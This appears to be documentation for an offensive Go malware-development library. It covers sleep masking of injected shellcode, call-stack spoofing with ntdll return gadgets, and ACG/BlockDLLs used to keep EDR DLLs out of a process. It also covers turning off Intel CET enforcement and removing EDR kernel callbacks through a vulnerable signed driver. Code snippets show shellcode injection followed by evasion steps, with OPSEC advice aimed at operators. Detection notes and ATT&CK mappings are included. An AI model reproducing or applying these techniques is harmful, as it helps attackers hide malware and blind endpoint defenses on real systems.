Order-of-operations matters. The region under protection is almost always PAGE_EXECUTE_READ after a typical injection sequence. Writing the XOR pass before the VirtualProtect(RW) will raise STATUS_ACCESS_VIOLATION on the first byte. The sleep mask consistently VirtualProtects first, then XORs. If you extend this package, preserve that order. (This was historically a bug; the added e2e test TestSleepMaskE2E_RestoresOriginalRXProtection pins the behavior.)

The mask code itself is unencrypted. Code paths executing Mask.Sleep — the XOR loop, the VirtualProtect calls, the timer — must stay executable. You cannot mask the mask. Treat it as a small scannable kernel; keep it short, keep it varied if possible, and don't register its own .text as a region.

The key is on the stack during sleep. Mask.Sleep zeroes the key via cleanup/memory.SecureZero only after the region is decrypted. During the sleep itself the 32-byte key lives on the Go stack frame of Sleep. A targeted memory dump timed exactly mid-sleep could recover it and undo the protection. If that matters, consider cleanup/memory.DoSecret (Go 1.26+ GOEXPERIMENT=runtimesecret path) to wrap the whole cycle — see docs/techniques/cleanup/memory-wipe.md.

Very short sleeps cost more than they hide. Below ~50 ms the VirtualProtect + XOR round-trip becomes a measurable fraction of the "sleep", and you've traded scanner-visibility for API-call-volume visibility. Sleep mask pays off when the idle interval is comfortably longer than the encrypt/decrypt cycle.

InlineStrategy still goes through the kernel. Go's time.Sleep on Windows is implemented via a timer object. Any EDR hooking NtWaitForSingleObject or the scheduler will observe the wait — it won't see the scrambled memory, but it will see you sleeping. Use InlineStrategy{UseBusyTrig: true} to avoid any wait syscall, or TimerQueueStrategy to move the wait off the caller goroutine.

Comparison

Featuremaldev/sleepmaskCobalt Strike BOF sleep_maskSliver sleep mask
Cipherrepeating-key XOR (32 bytes, fresh per sleep)XOR (historically); tunable via BOFAES
Permission downgradeyes, per-region, original restoredyesyes
Multi-regionyesgenerally onegenerally one
Busy-wait alternativeInlineStrategy{UseBusyTrig: true}no (BOF-replaceable)no
Pluggable cipherXOR / RC4 / AES-CTRBOF-replaceableAES only
Pluggable wait-threadInlineStrategy, TimerQueueStrategy, EkkoStrategy, FoliageStrategynono
Stack scrubbing during waitFoliageStrategy (L3 — zeros used shadow frames mid-chain)BOF-replaceableno
Cross-process maskingRemoteMask + RemoteInlineStrategyyesyes
Key zeroingyes (SecureZero)varies by BOFyes
Self-encryptionno (limitation)nono

Running the demo

cmd/sleepmask-demo exercises both scenarios with a configurable cipher/strategy and a concurrent scanner:

# Scenario A: mask a canary in our own process (default strategy=inline, cipher=xor).
go run ./cmd/sleepmask-demo -scenario=self -cycles=3 -sleep=5s

# Pool-thread variant, aes cipher, 10s sleeps.
go run ./cmd/sleepmask-demo -scenario=self -strategy=timerqueue -cipher=aes -cycles=2 -sleep=10s

# Scenario B: spawn notepad suspended, mask a canary in its address space.
go run ./cmd/sleepmask-demo -scenario=host -host-binary='C:\Windows\System32\notepad.exe' -cipher=rc4

The scanner prints HIT before/after each cycle and MISS throughout the masked window.

API Reference

// Region is one memory window to protect during sleep.
type Region struct {
    Addr uintptr
    Size uintptr
}

// Cipher transforms region bytes in-place. Implementations must be
// self-inverse (Apply(Apply(x, k), k) == x) so encrypt and decrypt are
// the same call. XORCipher, RC4Cipher, AESCTRCipher ship.
type Cipher interface {
    Apply(buf, key []byte)
    KeySize() int
}

func NewXORCipher() *XORCipher
func NewRC4Cipher() *RC4Cipher
func NewAESCTRCipher() *AESCTRCipher

// Strategy encapsulates the encrypt → wait → decrypt cycle. InlineStrategy,
// TimerQueueStrategy, EkkoStrategy, and FoliageStrategy (windows+amd64, RC4 only
// — last two) ship.
type Strategy interface {
    Cycle(ctx context.Context, regions []Region, cipher Cipher, key []byte, d time.Duration) error
}

// FoliageStrategy is Ekko + a stack-scrub gadget that zeroes the used
// gadget shadow frames before the wait. ScrubBytes is clamped to a
// safe max that does not clobber the memset gadget's own return frame.
type FoliageStrategy struct {
    ScrubBytes uintptr // 0 = default (2 * ekkoShadowStride); max is clamped internally
}

// New creates a Mask covering the given regions. Defaults: XORCipher + InlineStrategy.
func New(regions ...Region) *Mask
func (m *Mask) WithCipher(c Cipher) *Mask     // nil → XORCipher
func (m *Mask) WithStrategy(s Strategy) *Mask // nil → InlineStrategy

// Sleep runs one encrypt → wait → decrypt cycle.
// Returns ctx.Err() if the wait was cancelled; the strategy's error on syscall
// failure; nil on success. Zero regions or non-positive d short-circuits.
// Decrypt always runs, even on ctx cancellation.
func (m *Mask) Sleep(ctx context.Context, d time.Duration) error

// RemoteRegion / RemoteMask mask memory in another process. Handle must carry
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ.
type RemoteRegion struct {
    Handle uintptr
    Addr   uintptr
    Size   uintptr
}

type RemoteStrategy interface {
    Cycle(ctx context.Context, regions []RemoteRegion, cipher Cipher, key []byte, d time.Duration) error
}

func NewRemote(regions ...RemoteRegion) *RemoteMask
func (m *RemoteMask) WithCipher(c Cipher) *RemoteMask
func (m *RemoteMask) WithStrategy(s RemoteStrategy) *RemoteMask
func (m *RemoteMask) Sleep(ctx context.Context, d time.Duration) error

See also

Call-stack spoofing — metadata primitives

← evasion area README · docs/index

TL;DR

EDRs walk the stack of a suspicious thread and ask "who called VirtualAllocEx?". evasion/callstack builds the synthetic return-frame metadata (RUNTIME_FUNCTION + ImageBase + ReturnAddress) required to fake a benign thread-init lineage (RtlUserThreadStart → BaseThreadInitThunk → …). The asm pivot that executes a call through the chain (SpoofCall) ships as an experimental scaffold; the metadata helpers (StandardChain, FindReturnGadget, LookupFunctionEntry, Validate) are production-ready.

Primer

Modern EDR and DFIR tooling routinely walks the stack of a suspicious thread to see who called that VirtualAllocEx / CreateRemoteThread / NtUnmapViewOfSection. The walker uses RtlVirtualUnwind (or its kernel-mode sibling), which reads the PE .pdata table to locate the RUNTIME_FUNCTION for the current RIP, then follows the stored unwind info to climb up one frame at a time.

A spoofed call stack replaces the top frames of that walk with addresses that look like a vanilla thread-init sequence. The walker cannot distinguish the injected frames from a genuine execution path unless it cross-validates RIP against ETW Threat-Intelligence or performs its own control-flow reconstruction.

This package ships the metadata primitives required to build such a chain. Every helper returns either a Frame (return-address + ImageBase + RUNTIME_FUNCTION row, copied by value) or a []Frame, and Validate performs structural sanity checks before the chain hits a stack walker.

How It Works

sequenceDiagram
    participant G as "Caller (Go)"
    participant S as "Spoof pivot (asm)"
    participant T as "Target fn"
    participant W as "RtlVirtualUnwind"
    participant N as "ntdll RET gadget"

    Note over G: Build chain via StandardChain + FindReturnGadget
    G->>S: SpoofCall(target, chain, args)
    S->>S: Plant fakeRet then realRet on stack
    S->>T: JMP target (not CALL)
    Note over T: Executes body. RIP inside target.
    W->>T: Snapshot RIP at sampling moment
    W->>T: Lookup RUNTIME_FUNCTION RIP
    W-->>W: Unwinds via target .pdata
    W->>N: Lands on fakeRet, ntdll RET gadget
    W->>N: Lookup RUNTIME_FUNCTION fakeRet
    W-->>W: Walks ntdll frame metadata
    W-->>G: Reports BaseThreadInitThunk then RtlUserThreadStart

    T-->>N: RET pops fakeRet
    N-->>G: RET pops realRet, back to Go

Steps:

  1. StandardChain resolves the canonical thread-init lineage: kernel32!BaseThreadInitThunk (inner caller) and ntdll!RtlUserThreadStart (outer caller). Both are looked up via RtlLookupFunctionEntry so the returned Frame[i] carries a valid RUNTIME_FUNCTION row from the legitimate module's .pdata.
  2. FindReturnGadget scans ntdll.dll's .text for a lone RET (0xC3 followed by alignment padding). The address is used as the fake return at the top of the chain — when the target's own RET fires, the CPU jumps into ntdll's image, which has full .pdata coverage.
  3. The asm pivot (SpoofCall scaffold, gated behind MALDEV_SPOOFCALL_E2E=1) plants [fakeRet, ...chain] on the thread's stack, then JMPs (not CALLs) into the target. When the target returns, it pops fakeRet and the CPU lands inside ntdll. A walker that samples RIP at any point above the target walks ntdll's metadata and reports a benign thread-init sequence.
  4. Validate confirms structural consistency before any of this: non-zero return / image base / unwind-info; ControlPc bounded by the RUNTIME_FUNCTION [Begin, End) window.

API Reference

type Frame struct {
    ReturnAddress   uintptr
    ImageBase       uintptr
    RuntimeFunction RuntimeFunction
}

type RuntimeFunction struct {
    BeginAddress      uint32
    EndAddress        uint32
    UnwindInfoAddress uint32
}

func LookupFunctionEntry(addr uintptr) (Frame, error)
func StandardChain() ([]Frame, error)
func FindReturnGadget() (uintptr, error)
func Validate(chain []Frame) error

// Experimental — gated behind MALDEV_SPOOFCALL_E2E=1
func SpoofCall(target unsafe.Pointer, chain []Frame, args ...uintptr) (uintptr, error)

Sentinel errors: ErrUnsupportedPlatform, ErrFunctionEntryNotFound, ErrGadgetNotFound, ErrEmptyChain, ErrTooManyArgs.

LookupFunctionEntry(addr uintptr) (Frame, error)

godoc

Wraps ntdll!RtlLookupFunctionEntry. Given any instruction address inside a loaded PE, returns a Frame populated with ReturnAddress + ImageBase + RUNTIME_FUNCTION (copied by value).

Parameters:

  • addr — any in-image RIP value. Out-of-image addresses return ErrFunctionEntryNotFound.

Returns:

  • FrameReturnAddress=addr, ImageBase+RuntimeFunction populated from ntdll.
  • errorErrFunctionEntryNotFound if addr is outside any loaded module's .pdata coverage; ErrUnsupportedPlatform on non-amd64 / non-Windows.

Side effects: none — pure read.

OPSEC: silent. No syscall, no allocation, no telemetry trail.

Required privileges: unprivileged.

Platform: windows amd64.

StandardChain() ([]Frame, error)

godoc

Returns a cached 2-frame chain rooted at the Windows thread-init sequence: [0] kernel32!BaseThreadInitThunk (inner — direct caller of target), [1] ntdll!RtlUserThreadStart (outer — thread entry point). Both frames carry full RUNTIME_FUNCTION metadata.

Parameters: none.

Returns:

  • []Frame length 2. Returned by reference; do not mutate.
  • errorErrFunctionEntryNotFound when either symbol cannot be resolved (e.g., kernel32/ntdll not yet mapped); cached on first success.

Side effects: caches the chain on first call; subsequent calls return the cached slice in O(1).

OPSEC: silent — only RtlLookupFunctionEntry reads.

Required privileges: unprivileged.

Platform: windows amd64.

FindReturnGadget() (uintptr, error)

godoc

Scans ntdll.dll's .text for the first lone RET (0xC3 followed by int3 / nop padding) and returns its absolute address. Callers planting a fake return on the stack point there so the target's RET jumps into a well-known ntdll address.

Parameters: none.

Returns:

  • uintptr — address of an ntdll RET gadget. Cached.
  • errorErrGadgetNotFound only if ntdll's .text is hooked out of recognition (very unusual).

Side effects: caches the address on first call.

OPSEC: silent — single in-process memory walk.

Required privileges: unprivileged.

Platform: windows amd64.

Validate(chain []Frame) error

godoc

Checks structural consistency of the supplied chain.

Parameters:

  • chain — caller-built []Frame. May be the result of StandardChain() plus operator-added frames.

Returns:

  • error — non-nil when any frame has zero ReturnAddress/ImageBase/UnwindInfoAddress, or when ControlPc falls outside RuntimeFunction.[Begin, End). Nil on a valid chain.

Side effects: none.

OPSEC: silent.

Required privileges: unprivileged.

Platform: windows amd64 (struct alignment relies on amd64 RUNTIME_FUNCTION layout).

SpoofCall(target, chain, args...) (uintptr, error) (experimental)

godoc

Asm pivot. Plants [fakeRet, ...chain] on the stack, sets up Win64 ABI register passing for up to 4 args, and JMPs into target. The target's eventual RET lands on fakeRet (an ntdll RET gadget); a walker sampling RIP anywhere above the target sees ntdll-resident addresses with valid .pdata.

Parameters:

  • targetunsafe.Pointer to the function to invoke.
  • chain — pre-validated []Frame from StandardChain (+ caller-supplied frames as needed).
  • args... — up to 4 uintptr arguments mapped to RCX/RDX/R8/R9.

Returns:

  • uintptr — the value the target left in RAX.
  • errorErrEmptyChain / ErrTooManyArgs on caller-side violations. Pivot itself does not return errors mid-flight (any fault is a crash).

Side effects: mutates the caller goroutine's stack frame for the duration of the pivot; restored on return.

OPSEC: the spoofed walker view is the goal — sampling at the target's RIP shows a benign thread-init lineage. Reflection-based walkers that re-derive frames from CFG can still flag.

Required privileges: unprivileged.

Platform: windows amd64. Gated behind MALDEV_SPOOFCALL_E2E=1 until the lastcontinuehandler-on-Go-runtime crash is root-caused.

Examples

Simple — build + validate a chain

chain, err := callstack.StandardChain()
if err != nil {
    log.Fatal(err)
}
if err := callstack.Validate(chain); err != nil {
    log.Fatalf("chain invalid: %v", err)
}
gadget, err := callstack.FindReturnGadget()
if err != nil {
    log.Fatal(err)
}
log.Printf("chain frames=%d gadget=%#x", len(chain), gadget)

Composed — chain + injection landing-site spoof

The chain is one piece of the deception. Pair it with evasion/unhook and an indirect-syscall caller so a walker that lands on any of the hot calls sees ntdll-resident addresses with valid .pdata.

import (
    "github.com/oioio-space/maldev/evasion/callstack"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

stdChain, _ := callstack.StandardChain()
_ = callstack.Validate(stdChain)
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, stdChain...)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
_ = full // hand off to operator's own pivot OR callstack.SpoofCall

Advanced — SpoofCall (gated)

// MALDEV_SPOOFCALL_E2E=1 must be set; the asm pivot is debug-only.
chain, _ := callstack.StandardChain()
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, chain...)

target := unsafe.Pointer(windows.NewLazyDLL("ntdll.dll").
    NewProc("RtlGetVersion").Addr())
ret, err := callstack.SpoofCall(target, full /* no args */)
if err != nil {
    log.Fatalf("spoofcall: %v", err)
}
log.Printf("RtlGetVersion returned %#x", ret)

OPSEC & Detection

VectorVisibilityMitigation
RtlLookupFunctionEntry readsnot loggednone needed
Synthetic frame on the thread stackreflection-based walkers may flaglive with the residual; pair with HW-BP variant (P2.6) on hardened targets
ETW Threat-Intelligencecross-references RIP against legitimate call graphEDRs subscribing to TI can still flag — evasion/callstack makes the chain plausible, not indistinguishable
ntdll RET-gadget addressstatic — same value across calls within a processrandomise gadget pick from FindReturnGadget candidates (future enhancement)

D3FEND counters: D3-PSA (Process Spawn Analysis) — when paired with a benign thread-init RIP sequence the spawn / call chain appears legitimate.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036Masqueradingcall-stack metadataD3-PSA
T1027Obfuscated Files or Informationruntime stack obfuscationD3-EAL

Limitations

  • x64 only. x86 uses frame-pointer walking rather than .pdata-based unwind, which requires a different spoof strategy.
  • Synthetic frames detected by ETW Threat-Intelligence. Some EDRs (especially those consuming the TI provider) cross-check every stack frame RIP against the current call graph.
  • Module relocations. StandardChain caches the frames after first call; if the target module unmaps + remaps at a new base (unusual but possible under ASLR-stressed environments), the cached frames become stale. Spawn a fresh process or build a one-shot chain via LookupFunctionEntry.
  • No hardware-breakpoint variant yet. The fortra-style HWBP pivot (HW-BP on RET gadget for stronger obfuscation) is tracked under backlog row P2.6.
  • SpoofCall is experimental. The pivot occasionally crashes through Go's lastcontinuehandler due to runtime M:N scheduling. Promotion to a tagged release waits on a clean root-cause.

See also

ACG + BlockDLLs

MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-AIPA -- Application Integrity Protection Analysis | Detection: Low

Primer

Imagine you are in a clean room doing sensitive work. You lock the door so nobody can enter, and you cover all the air vents so nothing can be blown in. That is what ACG and BlockDLLs do to your process.

ACG (Arbitrary Code Guard) tells Windows: "Do not allow any new executable memory allocations in this process." Once enabled, nobody -- not even the operating system -- can create new PAGE_EXECUTE_* memory regions. This blocks EDR from injecting dynamic hooks or code into your process. It also blocks shellcode injection from outside.

BlockDLLs (Binary Signature Policy) tells Windows: "Only load DLLs that are signed by Microsoft." This prevents EDR products from loading their monitoring DLLs (like CrowdStrike.dll or SentinelOne.dll) into your process. Since these DLLs are typically signed by their vendor (not Microsoft), they are blocked.

Together, these two mitigations create a hardened process that rejects external code injection and unsigned DLL loading. The critical caveat: ACG also prevents your own shellcode from allocating executable memory, so you must apply it AFTER your injection is complete.

How It Works

flowchart TD
    subgraph ACG["Arbitrary Code Guard"]
        A1[SetProcessMitigationPolicy] --> A2[ProcessDynamicCodePolicy]
        A2 --> A3[ProhibitDynamicCode = 1]
        A3 --> A4[All future VirtualAlloc\nwith PAGE_EXECUTE_* → FAIL]
        A3 --> A5[All future VirtualProtect\nto PAGE_EXECUTE_* → FAIL]
    end

    subgraph BlockDLLs["Block Non-Microsoft DLLs"]
        B1[SetProcessMitigationPolicy] --> B2[ProcessBinarySignaturePolicy]
        B2 --> B3[MicrosoftSignedOnly = 1]
        B3 --> B4[LoadLibrary of unsigned DLL → FAIL]
        B3 --> B5[EDR DLL injection → FAIL]
    end

    subgraph Timeline["Correct Application Order"]
        T1[1. Evasion: AMSI + ETW] --> T2[2. Injection: shellcode]
        T2 --> T3[3. Harden: ACG + BlockDLLs]
        T3 --> T4[Process is now locked down]
    end

    style A4 fill:#5c1a1a,color:#fff
    style A5 fill:#5c1a1a,color:#fff
    style B4 fill:#5c1a1a,color:#fff
    style B5 fill:#5c1a1a,color:#fff
    style T3 fill:#2d5016,color:#fff

ACG internals:

  • Calls SetProcessMitigationPolicy with policy ID 2 (ProcessDynamicCodePolicy).
  • Sets ProhibitDynamicCode = 1 in the policy flags.
  • Once set, this is irreversible for the process lifetime.

BlockDLLs internals:

  • Calls SetProcessMitigationPolicy with policy ID 8 (ProcessBinarySignaturePolicy).
  • Sets MicrosoftSignedOnly = 1.
  • Once set, this is irreversible for the process lifetime.

Usage

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion/acg"
    "github.com/oioio-space/maldev/evasion/blockdlls"
)

func main() {
    // Enable ACG -- no more dynamic code allocation.
    if err := acg.Enable(nil); err != nil {
        log.Fatal(err)
    }

    // Block non-Microsoft DLLs.
    if err := blockdlls.Enable(nil); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

func main() {
    shellcode := []byte{0x90, 0x90, 0xCC}

    // 1. FIRST: Evasion (AMSI + ETW + unhook).
    evasion.ApplyAll(preset.Stealth(), nil)

    // 2. SECOND: Inject shellcode (needs executable memory allocation).
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        log.Fatal(err)
    }

    // 3. LAST: Lock down the process.
    //    Aggressive preset includes ACG + BlockDLLs.
    //    WARNING: No more RWX allocations possible after this!
    evasion.ApplyAll(preset.Aggressive(), nil)

    // From this point:
    // - No EDR can inject hooks or DLLs
    // - No new executable memory can be created
    // - The process is hardened for the rest of its lifetime
}

Advantages & Limitations

AspectDetail
StealthHigh -- uses legitimate Windows mitigation APIs. Looks like a security-conscious application.
EffectivenessVery high -- kernel-enforced. Even ring-0 drivers respect these mitigations (by design).
IrreversibilityBoth policies are permanent for the process lifetime. Cannot be undone.
Order dependencyMUST apply AFTER all shellcode injection and evasion patching is complete. ACG blocks VirtualProtect to RX.
CompatibilityWindows 10 1709+ (Fall Creators Update). Returns error on older versions.
LimitationsSetProcessMitigationPolicy is a kernel32 export with no NT equivalent routable through *wsyscall.Caller. The caller parameter is accepted for API consistency but cannot bypass hooks on this specific function. BlockDLLs may break legitimate third-party DLLs.

API Reference

// acg package
// Enable activates Arbitrary Code Guard for the current process.
// Requires Windows 10 1709+.
func Enable(caller *wsyscall.Caller) error

// Technique constructor:
func Guard() evasion.Technique

// blockdlls package
// Enable blocks loading of non-Microsoft-signed DLLs.
// Requires Windows 10 1709+.
func Enable(caller *wsyscall.Caller) error

// Technique constructor:
func MicrosoftOnly() evasion.Technique

See also

Intel CET shadow-stack opt-out

← evasion index · docs/index

TL;DR

On Intel CET-capable Windows 11+ hosts, indirect call/return targets must begin with the ENDBR64 instruction (F3 0F 1E FA). Code that violates this is killed with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). This package: detect (Enforced), opt out (Disable), or marker- prefix shellcode (Wrap) so it survives CET-enforced indirect dispatch.

Primer

Control-flow Enforcement Technology is Intel's hardware-level mitigation against ROP / JOP / COP attacks. The shadow stack tracks legitimate call return addresses; the indirect-branch tracker requires ENDBR64 at every indirect call destination. Both are enabled per-process via the ProcessUserShadowStackPolicy mitigation.

For maldev, the most-impactful CET site is KiUserApcDispatcher. APC- delivered shellcode (used by injection methods like NtNotifyChangeDirectory-callback, fiber callback, etc.) executes via indirect dispatch. If the shellcode doesn't start with ENDBR64, CET kills the process.

Three complementary tools:

  • Enforced() reports whether the policy is active. Cheap; call this first before deciding between Disable and Wrap.
  • Disable() is best-effort relax — fails when the image was compiled with /CETCOMPAT (the Go runtime currently is NOT, but /CETCOMPAT-compiled DLLs you might host can opt the process in).
  • Wrap(sc) prepends the ENDBR64 marker if not present. Side-effect- free, idempotent. Safe to call unconditionally.

How it works

flowchart TD
    Start["shellcode injected"] --> Q{"cet.Enforced ?"}
    Q -- No --> Run["execute as-is"]
    Q -- Yes --> TryDisable["cet.Disable"]
    TryDisable -- success --> Run
    TryDisable -- "fails ERROR_NOT_SUPPORTED" --> Wrap["sc = cet.Wrap(sc)"]
    Wrap --> Run

Disable issues SetProcessMitigationPolicy(ProcessUserShadowStackPolicy, {Enable: 0, ...}). The kernel rejects the relax if any module in the process has IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT set.

Wrap is a pure byte-level operation: prepend F3 0F 1E FA to the shellcode buffer if the first 4 bytes don't already match.

API Reference

Marker

godoc

The 4-byte ENDBR64 instruction (F3 0F 1E FA) exposed as a []byte constant for inspection or manual prefixing.

Enforced() bool

Returns true when the calling process has user-mode shadow-stack enforcement active.

Side effects: none.

OPSEC: invisible — reads MITIGATION_POLICY via GetProcessMitigation Policy.

Disable() error

godoc

Best-effort relax of ProcessUserShadowStackPolicy for the current process.

Returns: errorERROR_NOT_SUPPORTED when the image is /CETCOMPAT-compiled and the kernel refuses; wraps SetProcessMitigationPolicy failures otherwise.

Side effects: process-global state — call once at start-up, not inside loops.

OPSEC: noisy. SetProcessMitigationPolicy is itself logged by EDR; Defender ASR may emit an event. Prefer Wrap when you can.

Wrap(sc []byte) []byte

Return a copy of sc prefixed with Marker if not already present. Idempotent; safe to call unconditionally.

Parameters: sc — shellcode bytes.

Returns: []bytesc if it already begins with Marker, otherwise a new buffer of length len(sc) + 4.

Side effects: none. Pure function.

OPSEC: invisible — only modifies caller-owned memory.

Examples

Simple

sc := []byte{0x90, 0x90, 0xc3} // nop nop ret
sc = cet.Wrap(sc)              // now 7 bytes: F3 0F 1E FA 90 90 C3

Composed — runtime decision

if cet.Enforced() {
    if err := cet.Disable(); err != nil {
        sc = cet.Wrap(sc)
    }
}

Advanced (chain into APC injection)

sc := loadShellcode()
if cet.Enforced() {
    if err := cet.Disable(); err != nil {
        sc = cet.Wrap(sc)
    }
}
// CallbackNtNotifyChangeDirectory invokes the shellcode via
// KiUserApcDispatcher — without the marker on a CET host, this would
// die with STATUS_STACK_BUFFER_OVERRUN.
_ = inject.ExecuteCallback(sc, inject.CallbackNtNotifyChangeDirectory)

OPSEC & Detection

ArtefactWhere defenders look
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) callETW TI Threat Intelligence + Defender ASR provider events
Process began with policy enforced, ended withoutETW per-process mitigation lifecycle
ENDBR64-prefixed shellcode in injected memoryEDR memory scanner — distinctive 4-byte pattern at RWX page starts

D3FEND counter: D3-PSEP.

Hardening: treat SetProcessMitigationPolicy calls as high-fidelity signal in process-spawn telemetry. The ENDBR64 prefix on injected memory is a reasonable secondary heuristic.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolsshadow-stack policy relax + marker prefixD3-PSEP

Limitations

  • Disable fails on /CETCOMPAT images. The Go runtime today is not, but a /CETCOMPAT DLL loaded into the process locks the policy on. Wrap is the always-available fallback.
  • Wrap doesn't help with shadow-stack misalignment. Only the indirect-branch tracker is bypassed by ENDBR64. The shadow stack catches return-address mismatches; if your callback returns to a non-pristine RSP, CET still kills the process.
  • Pre-Win11 hosts have no CET. Enforced() returns false; both Disable and Wrap are no-ops. Calling them is harmless.
  • Non-Intel-CET CPUs (older Intel Skylake/Cascade Lake, all AMD before Zen 4) have no CET hardware. Enforced() returns false.

See also

Kernel callback enumeration + removal

← evasion area README · docs/index

TL;DR

evasion/kcallback reads the three in-kernel notify-callback arrays (PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine / PspLoadImageNotifyRoutine) through any caller-supplied KernelReader (BYOVD), maps each slot to the registering driver, and — when paired with a KernelReadWriter — selectively zeroes EDR slots and restores them later. No built-in offset database: callers pass an OffsetTable keyed on the running ntoskrnl build.

Primer

Modern EDR / AV products hook into kernel event streams by registering kernel notification callbacks via PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine. Each API appends a callback slot to one of three in-kernel arrays:

ArrayTriggerUsed by
PspCreateProcessNotifyRoutineNtCreateUserProcessEDR process-start telemetry
PspCreateThreadNotifyRoutinePspInsertThreadEDR thread-start telemetry
PspLoadImageNotifyRoutineMiMapViewOfImageSectionEDR image-load scanning

Each slot is a PEX_CALLBACK — a 64-bit value where the upper 60 bits point at a ROUTINE_BLOCK and the lower 4 bits are flags (enabled, reference count). The real callback function lives at offset 8 inside the ROUTINE_BLOCK.

Enumerating the arrays tells the operator which driver registered which callback — typically directly revealing the EDR's kernel driver

  • the function it hooks. Removing a slot is the more aggressive play: the EDR stops seeing the relevant kernel events. Both paths need arbitrary kernel R/W, which user-mode alone cannot reach. Every public technique (EDRSandBlast, kdmapper + custom driver, RTCore64) relies on a signed-driver primitive — BYOVD.

How It Works

sequenceDiagram
    participant U as "Caller"
    participant K as "kcallback"
    participant R as "KernelReader (BYOVD)"
    participant N as "ntoskrnl"

    U->>K: NtoskrnlBase()
    K->>N: NtQuerySystemInformation(SystemModuleInformation)
    N-->>K: base = 0xFFFFF80123400000

    U->>K: Enumerate(reader, OffsetTable)
    loop for each configured RoutineRVA
        K->>R: ReadKernel(base + rva, ArrayLen * 8)
        R-->>K: ArrayLen slots, 8 bytes each
        loop per non-zero slot
            K->>K: block = slot AND NOT 0xF
            K->>R: ReadKernel(block + 8, 8) -- function pointer
            R-->>K: callback function VA
            K->>K: DriverAt(fn) -- driver name
        end
    end
    K-->>U: []Callback Kind, Index, Address, Module, Enabled

Steps:

  1. NtoskrnlBase resolves the kernel image base via NtQuerySystemInformation(SystemModuleInformation) — user-mode-only, no driver needed.
  2. Enumerate reads the three callback arrays from base + RVA for each configured array, masks the lower 4 tag bits, follows the ROUTINE_BLOCK + 8 indirection to the actual callback function, and resolves the owning driver via DriverAt (best-effort module-name lookup).
  3. Remove (separate primitive) reads the original 8-byte slot, captures it into an opaque RemoveToken, then writes 8 zero bytes. The EDR's notify routine stops being called as soon as the kernel sees the zero write.
  4. Restore re-writes the captured token; safe to defer immediately after Remove because RemoveToken{} IsZero() makes restore a no-op when Remove returned an error.

The read-original / write-zero pair has a ~µs race window where a competing actor could observe a half-written slot. RTCore64 issues both IOCTLs fast enough that production scanners rarely observe this in practice.

Per-build offset table

OffsetTable.CreateProcessRoutineRVA / CreateThreadRoutineRVA / LoadImageRoutineRVA are caller-populated. The package ships no built-in database because offsets shift with every cumulative ntoskrnl update — hardcoding a stale offset would point callers at garbage and silently produce wrong results.

Derivation workflow (offline, one-time per build):

  1. Grab the victim's ntoskrnl.exe from C:\Windows\System32\ntoskrnl.exe.
  2. Fetch its PDB: symchk /if ntoskrnl.exe /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols.
  3. Dump the symbol RVA: llvm-pdbutil dump --globals ntoskrnl.pdb | grep PspCreateProcessNotifyRoutine.
  4. Record the RVA in OffsetTable{Build: 19045, CreateProcessRoutineRVA: 0xC1AAA0, ...}.
  5. Build a map[uint32]OffsetTable keyed by build and pick at runtime via win/version.Current().BuildNumber.

EDRSandBlast publishes a regularly-updated offset table — treat it as upstream reference, not as committed library state.

API Reference

type Kind int
const (
    KindCreateProcess Kind = iota + 1 // PspCreateProcessNotifyRoutine
    KindCreateThread                  // PspCreateThreadNotifyRoutine
    KindLoadImage                     // PspLoadImageNotifyRoutine
)

type Callback struct {
    Kind     Kind
    Index    int
    SlotAddr uintptr // kernel VA of the slot itself
    Address  uintptr // resolved callback-function VA
    Module   string  // best-effort driver-name resolution
    Enabled  bool    // low bit of the slot value
}

type OffsetTable struct {
    Build                   uint32
    CreateProcessRoutineRVA uint32
    CreateThreadRoutineRVA  uint32
    LoadImageRoutineRVA     uint32
    ArrayLen                int // typically 64 (Win10), 96+ (Win11)
}

type KernelReader interface {
    ReadKernel(addr uintptr, buf []byte) (int, error)
}
type KernelReadWriter interface {
    KernelReader
    WriteKernel(addr uintptr, data []byte) (int, error)
}
type NullKernelReader struct{}

type RemoveToken struct{ /* opaque */ }

func NtoskrnlBase() (uintptr, error)
func DriverAt(addr uintptr) (string, error)
func Enumerate(reader KernelReader, tab OffsetTable) ([]Callback, error)
func Remove(cb Callback, writer KernelReadWriter) (RemoveToken, error)
func Restore(tok RemoveToken, writer KernelReadWriter) error
func (RemoveToken) IsZero() bool

Sentinel errors: ErrNoKernelReader, ErrReadOnly, ErrNtoskrnlNotFound, ErrOffsetUnknown, ErrEmptySlot.

NtoskrnlBase() (uintptr, error)

godoc

Resolves the running kernel image base via NtQuerySystemInformation(SystemModuleInformation).

Parameters: none.

Returns:

  • uintptr — non-zero kernel VA of ntoskrnl.exe on success.
  • errorErrNtoskrnlNotFound when the module isn't in the enumerated list (extremely unusual).

Side effects: none beyond a single user-mode NtQSI call.

OPSEC: quiet. NtQSI(SystemModuleInformation) is a common benign call; flagged only when used in pre-injection fingerprinting patterns.

